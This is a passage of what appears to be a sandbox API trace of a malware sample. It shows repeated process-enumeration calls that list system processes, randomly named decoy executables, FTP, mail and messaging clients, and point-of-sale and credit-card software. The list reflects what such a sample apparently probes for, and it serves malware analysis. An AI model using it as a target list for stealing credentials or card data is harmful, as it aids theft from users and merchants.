th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.683] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.688] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.730] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0282.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0282.748] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.833] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0282.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0282.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0282.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0282.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0282.846] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0282.848] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0282.851] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0282.853] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0282.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0282.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0282.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0282.863] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0282.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0282.867] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0282.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0282.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0282.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0282.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0282.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0282.930] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0282.932] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0282.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0282.937] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0282.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0282.942] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0282.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0282.947] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0282.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0282.952] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0282.955] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0282.958] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0282.961] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0282.963] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0282.966] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0282.969] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0282.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0283.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0283.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0283.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0283.033] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0283.036] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0283.039] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0283.042] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0283.044] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0283.047] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0283.050] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0283.054] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0283.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0283.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0283.062] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0283.065] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0283.117] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0283.120] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0283.122] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0283.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0283.128] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0283.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0283.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0283.136] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0283.138] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0283.141] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 